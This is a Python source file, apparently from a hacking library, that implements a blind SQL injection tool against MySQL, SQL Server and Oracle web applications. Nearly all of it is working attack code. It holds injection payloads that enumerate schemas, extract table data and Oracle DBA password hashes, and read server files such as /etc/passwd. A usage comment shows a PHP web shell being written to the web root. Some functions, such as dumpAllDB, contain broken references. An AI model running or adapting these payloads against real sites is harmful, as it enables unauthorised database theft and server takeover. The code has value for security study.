PageRenderTime 42ms CodeModel.GetById 10ms RepoModel.GetById 0ms app.codeStats 0ms

/web/sqlInjection.py

https://bitbucket.org/sha0coder/pylibhack
Python | 483 lines | 436 code | 9 blank | 38 comment | 4 complexity | 0ee9ac47ead5a33565d35c66cc7fac56 MD5 | raw file
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. # sha0@badchecksum.net
  4. #b = BlindMySQL()
  5. #b.form = 'formuB'
  6. #b.badguy = '0 Resultados'
  7. #b.goodguy = 'hay resultados'
  8. #b.outfile = 'out'
  9. #b.post = 1
  10. #b.param = 'busca'
  11. #b.url = 'http://www.oxxx.org/alimentacion'
  12. #b.getDatabases()
  13. #b.getTables('database')
  14. #b.getColumns('database','table')
  15. #b.getData('database','table','user')
  16. #b.getDataFiltered('database','table','user','admin','password')
  17. #b.existsFile('/etc/passwd')
  18. #b.getDocumentRoot()
  19. #b.getFile('/etc/passwd')
  20. #b.writeFile('/var/www/shell.php','<?php eval($_GET["cmd"]); ?>');
  21. #b.isRoot()
  22. #b.dumpTable()
  23. #b.dumpAllDB()
  24. '''
  25. Wordlist
  26. |
  27. BlindSQL
  28. |
  29. -----------+----------------
  30. | | |
  31. BlindMySQL BlindOracle BlindMSSSQL
  32. '''
  33. __version__ = "$Revision: 0004000 $"
  34. from util.wordlist import *
  35. from mechanize import Browser
  36. import re, sys
  37. '''
  38. Core
  39. '''
  40. class BlindSQL(Wordlist): #def
  41. def __init__(self):
  42. Wordlist.__init__(self)
  43. self.b = Browser()
  44. self.b.set_handle_robots(False)
  45. self.r_x = re.compile('X')
  46. self.r_p = re.compile('%')
  47. #Configuration:
  48. self.goodguy=''
  49. self.badguy=''
  50. self.post = 0
  51. self.query=''
  52. self.form=''
  53. self.outfile=''
  54. self.param = ''
  55. self.debug=False
  56. self.other = {}
  57. self.url = ''
  58. self.extracted = []
  59. #Preapare Wordlist
  60. self.clear()
  61. #self.mins(1)
  62. self.vocales() # vocales primero
  63. self.consonantes()
  64. self.nums(9)
  65. self.words.append('*')
  66. self.words.append('.')
  67. self.words.append('$')
  68. self.words.append('-')
  69. '''
  70. problematica del byte _ en el retroceso, un nombre de columna puede contener este byte,
  71. pero también es un comodín, con lo que al hacer el retroceso, todas las queries daran true,
  72. de manera que abran muchos falsos positivos.
  73. '''
  74. def show(self):
  75. print "-----------------"
  76. print self.query
  77. print "Values:"
  78. for e in self.extracted:
  79. print e
  80. def setDebug(self,value):
  81. self.debug=value
  82. def _launch(self,query):
  83. try:
  84. if self.post:
  85. self.b.open(self.url)
  86. self.b.select_form(self.form)
  87. self.b[self.param] = query
  88. for k in self.other.keys():
  89. self.b[k] = self.other[k]
  90. r = self.b.submit()
  91. else:
  92. if self.debug:
  93. print self.url+self.encode(query)
  94. r = self.b.open(self.url+self.encode(query))
  95. return r.read()
  96. except:
  97. return ''
  98. def isSuccess(self,out):
  99. if len(self.badguy)+len(self.goodguy) == 0:
  100. print "You must select goodguy o bien badguy"
  101. sys.exit(1)
  102. if re.compile(self.goodguy).findall(out) or not re.compile(self.badguy).findall(out):
  103. return True
  104. return False
  105. def num(self):
  106. for n in self.words:
  107. query = self.r_x.sub(n,self.query)
  108. html = self._launch(query)
  109. #print query
  110. if not self.isSuccess(html):
  111. return
  112. def getData(self,table,column):
  113. self.query = "'and'1'in(select'1'from "+table+" where "+column+" like 'X%')or'1'='2"
  114. self.blind()
  115. self.show()
  116. def encode(self,data):
  117. data = data.replace('%','%25')
  118. data = data.replace(' ','+')
  119. data = data.replace('(','%28')
  120. data = data.replace(')','%29')
  121. data = data.replace('\'','%27')
  122. data = data.replace('"','%22')
  123. return data
  124. def blindDicotomic(self,pos=1):
  125. min_num = 0 #10
  126. max_num = 255 #183
  127. middle = 96
  128. num = middle
  129. while True:
  130. query = self.query.replace('#1',str(pos)).replace('#2',"<"+str(num))
  131. #print query
  132. html = self._launch(query)
  133. if self.isSuccess(html):
  134. middle = (abs(min_num-num)/2+min_num)
  135. max_num = num
  136. if num == middle:
  137. if num == 0:
  138. print "end."
  139. return
  140. sys.stdout.write(chr(num))
  141. sys.stdout.flush()
  142. pos+=1
  143. min_num = 0 #10
  144. max_num = 255 #183
  145. middle = 96
  146. num = middle
  147. else:
  148. middle = (abs(max_num-num)/2+num)
  149. min_num = num
  150. if num == middle:
  151. if num == 0:
  152. print "end."
  153. return
  154. sys.stdout.write(chr(num))
  155. sys.stdout.flush()
  156. pos+=1
  157. min_num = 0 #10
  158. max_num = 255 #183
  159. middle = 96
  160. num = middle
  161. def blind(self,prefix=None):
  162. if not prefix:
  163. prefix = ''
  164. for a in self.words:
  165. query = self.r_x.sub(prefix+a,self.query)
  166. sys.stdout.write(prefix+a+" \r")
  167. sys.stdout.flush()
  168. html = self._launch(query)
  169. if self.isSuccess(html):
  170. prefix += a
  171. #print "\r=>"+prefix
  172. prefix = self.blind(prefix)
  173. #break
  174. #No hay mas letras, confirmar si es un acierto:
  175. query = self.r_x.sub(prefix,self.query)
  176. query = self.r_p.sub('',query)
  177. html = self._launch(query)
  178. if self.isSuccess(html):
  179. self.extracted.append(prefix)
  180. print "\r(ok)=>"+prefix
  181. if self.outfile != '':
  182. open(self.outfile,'a').write(prefix+'\n')
  183. #if prefix[-1] == '_':
  184. # return prefix[:-2]
  185. #else:
  186. return prefix[:-1]
  187. def console(self):
  188. while True:
  189. sys.stdout.write('SQL=>')
  190. query = sys.stdin.readline()[:-1]
  191. html = self._launch(query)
  192. if self.isSuccess(html):
  193. print "True"
  194. else:
  195. print "False"
  196. '''
  197. MySQL
  198. '''
  199. class BlindMySQL(BlindSQL): #def
  200. def __init__(self):
  201. BlindSQL.__init__(self)
  202. self.silent = False
  203. self.start = "'or 0 < ("
  204. self.terminator = ") or '1'='2"
  205. def getUser(self):
  206. self.query = "%s select count(1) from information_schema.TABLES where user() like 'X%%' %s " % (self.start, self.terminator)
  207. self.blind()
  208. self.show()
  209. def getDatabases(self): #TODO: hacer con scemata en vez de TABLES
  210. self.query = "%s select count(1) from information_schema.TABLES where table_schema like 'X%%' %s" % (self.start, self.terminator)
  211. #self.query = "'and'1'in(select'1'from information_schema.schemata where schema_name like 'X%')or'1'='2"
  212. self.blind()
  213. if not self.silent:
  214. self.show()
  215. def getTables(self,database):
  216. self.query = "%s select count(1) from information_schema.TABLES where table_name like 'X%%' and table_schema = '%s' %s" % (self.start, database, self.terminator)
  217. self.blind()
  218. if not self.silent:
  219. self.show()
  220. def getColumns(self,database,table):
  221. self.query = "%s select count(1) from information_schema.COLUMNS where column_name like 'X%%' and table_schema = '%s' and table_name = '%s' %s" % (self.start, database, table, self.terminator)
  222. self.blind()
  223. if not self.silent:
  224. self.show()
  225. def getData(self,database,table,column):
  226. self.query = "%s select count(1) from %s.%s where %s like 'X%%' %s" % (self.start,database,table,column,self.terminator)
  227. self.blind()
  228. if not self.silent:
  229. self.show()
  230. def getDataFiltered(self,database,table,where,column):
  231. self.query = "%s select count(1) from %s.%s where %s and %s like 'X%%' %s" % (self.start,database,table,where,column,self.terminator)
  232. self.blind()
  233. if not self.silent:
  234. self.show()
  235. def isRoot(self):
  236. query = "'or 'root' in ( select user() %s" % (self.terminator)
  237. html = self._launch(query)
  238. if self.isSuccess(html):
  239. return True
  240. return False
  241. #TODO
  242. def existsFile(self,filename):
  243. query = "%s select count(load_file('%s')) %s" % (self.start, filename, self.terminator)
  244. html = self._launch(query)
  245. if self.isSuccess(html):
  246. print "Exists :)"
  247. return True
  248. else:
  249. print "Doesn't exist :("
  250. return False
  251. def getDocumentRoot(self):
  252. print "Scanning ..."
  253. for p in ['/var','/usr/local/www/apache22','/usr/local/','/usr/local','/srv','/usr/local/apache2','/usr/local/nginx','/home','/inetpub','/usr','/opt','/']:
  254. print p
  255. if self.existsFile(p):
  256. for pp in ['/data','/www','/wwwroot','/web','/htdocs','/html','/site','/website']:
  257. print "\t"+p+pp
  258. if self.existsFile(p+pp):
  259. print "Got it!!! "+p+pp
  260. return
  261. def getFile(self,filename):
  262. if self.existsFile(filename):
  263. self.query = "'or (select ascii(substr(load_file('%s'),#1,1))) #2 or '1'='2" % (filename)
  264. self.blindDicotomic()
  265. def writeFile(self,filename,content):
  266. pass #TODO
  267. def dumpTable(self,database,table):
  268. self.silent = True
  269. self.getColumns(database,table)
  270. columns = self.extracted
  271. print "Columns:"
  272. for c in columns:
  273. print "\t%s" % c
  274. if len(columns) == 1:
  275. self.show()
  276. return
  277. sys.stdout.write('Select index => ')
  278. idx_title = sys.stdin.readline()[:-1]
  279. self.getData(database,table,idx_title)
  280. indexes = self.extracted
  281. print "-------------------------------------------------------"
  282. print " %s.%s:" % (database,table)
  283. print "-------------------------------------------------------"
  284. for column in columns:
  285. sys.stdout.write(column+'\t\t')
  286. print "\n-------------------------------------------------------"
  287. for column in columns:
  288. for idx_value in indexes:
  289. if column != idx_title:
  290. self.getDataFiltered(database,table,idx_title,idx_value,column)
  291. for e in self.extracted:
  292. sys.stdout.write(e+'\t\t')
  293. print ""
  294. def dumpAllDB(self): # too heavy, use only on small databases TODO: arreglar output
  295. self.getDatabases();
  296. databases = self.extracted
  297. for database in databases:
  298. self.getTables(database)
  299. tables = self.extracted
  300. for table in tables:
  301. print "--- %s.%s: ---" % (database,table)
  302. self.getColumns(database,table)
  303. columns = self.extracted
  304. self.getData(database,table,column[0])
  305. indexes = self.extracted
  306. if len(columns) == 1:
  307. self.show()
  308. return
  309. for idx in indexes:
  310. for column in colunmns[1:]:
  311. self.getDataFiltered(database,table,column[0],idx,column)
  312. for e in self.extracted:
  313. print "%s) %s=%s" % (idx,column,database,e)
  314. '''
  315. Microsoft SQL Server
  316. '''
  317. class BlindSQLServer(BlindSQL): #def
  318. def __init__(self):
  319. BlindSQL.__init__(self)
  320. def getDatabases(self):
  321. self.query = "'or'1'in(select'1'from sys.sysdatabases where name like 'X%')or'1'='2"
  322. self.blind()
  323. self.show()
  324. def getTables(self):
  325. self.query = "'or'1'in(select'1'from sys.sysobjects where xtype='u' and name like 'X%')or'1'='2"
  326. self.blind()
  327. self.show()
  328. def getColumns(self,table):
  329. self.query = "'or'1'in(select'1'from sys.syscolumns as c,sys.sysobjects as o where c.id=o.id and o.name='"+table+"' and c.name like 'X%')or'1'='2"
  330. self.blind()
  331. self.show()
  332. def getData(self,table,column):
  333. self.query = "'or'1'in(select'1'from "+table+" where "+column+" like 'X%')or'1'='2"
  334. self.blind()
  335. self.show()
  336. '''
  337. Oracle
  338. '''
  339. class BlindOracle(BlindSQL):
  340. def __init__(self):
  341. BlindSQL.__init__(self)
  342. def getUsersDBA(self):
  343. self.query = "1'and'1'in(select'1'from dba_users where username like 'X%')or'1'='2"
  344. self.blind()
  345. self.show()
  346. def getPassword(self,user):
  347. self.query = "1'and'1'in(select'1'from dba_users where username = '"+user+"' and password like 'X%')or'1'='2"
  348. self.blind()
  349. self.show()
  350. def getUsers(self):
  351. self.query = "1'and'1'in(select'1'from all_users where username like 'X%')or'1'='2"
  352. self.blind()
  353. self.show()
  354. def getTables(self):
  355. self.query = "1'and'1'in(select'1'from all_tables where table_name like 'X%')or'1'='2"
  356. self.blind()
  357. self.show()
  358. def getUserTables(self):
  359. self.query = "1'and'1'in(select'1'from user_tables where table_name like 'X%')or'1'='2"
  360. self.blind()
  361. self.show()
  362. def getTablespace(self,table):
  363. self.query = "1'and'1'in(select'1'from all_tables where table_name = '"+table+"' and tablespace_name like 'X%')or'1'='2"
  364. self.blind()
  365. self.show()
  366. def getColumns(self,table):
  367. self.query = "1'and'1'in(select'1'from all_tab_columns where table_name = '"+table+"' and column_name like 'X%')or'1'='2"
  368. self.blind()
  369. self.show()
  370. def getData(self,table,column,cond=None):
  371. if cond:
  372. self.query = "1'and'1'in(select'1'from "+table+" where "+column+" like 'X%' and "+cond+")or'1'='2"
  373. else:
  374. self.query = "1'and'1'in(select'1'from "+table+" where "+column+" like 'X%')or'1'='2"
  375. self.blind()
  376. self.show()